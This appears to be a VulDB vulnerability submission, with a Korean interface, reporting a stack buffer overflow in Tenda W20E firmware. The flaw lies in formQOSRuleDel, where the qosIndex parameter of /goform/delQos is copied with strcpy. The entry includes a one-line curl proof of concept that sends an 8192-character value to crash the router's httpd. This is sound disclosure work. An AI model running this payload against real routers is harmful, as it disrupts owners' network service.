| 제목 | Tenda W20E US_W20EV4.0br_V15.11.0.6(1068_1546_841)_CN_TDC.bin Buffer Overflow |
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| 설명 | Tenda W20E firmware V4.0br_V15.11.0.6(1068_1546_841)_CN_TDC contains a stack-based buffer overflow in formQOSRuleDel, reachable via POST /goform/delQos. The attacker-controlled qosIndex parameter is copied with strcpy into the fixed-size input.src[1024] stack buffer without bounds checking. Local reproduction with an 8192-byte qosIndex reached strcpy@0x0006d138 and resulted in httpd_exit:-11 together with a fresh core dump, demonstrating that an authenticated attacker can trigger memory corruption and crash the httpd service.
PoC:
curl -i 'http://192.168.0.1/goform/delQos' -b cookies.txt \
--data-urlencode "qosIndex=$(python3 -c 'print(\"9\"*8192)')" |
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| 원천 | ⚠️ https://github.com/paueger/mycve/blob/main/Tenda_W20E/4.md |
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| 사용자 | paxiot (UID 94927) |
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| 제출 | 2026. 06. 25. AM 11:33 (2 개월 ago) |
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| 모더레이션 | 2026. 08. 14. AM 07:30 (2 months later) |
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| 상태 | 수락 |
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| VulDB 항목 | 389956 [Tenda W20E 15.11.0.6(1068_1546_841)_CN_TDC QoS Rule Deletion /goform/delQos formQOSRuleDel qosIndex 메모리 손상] |
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| 포인트들 | 20 |
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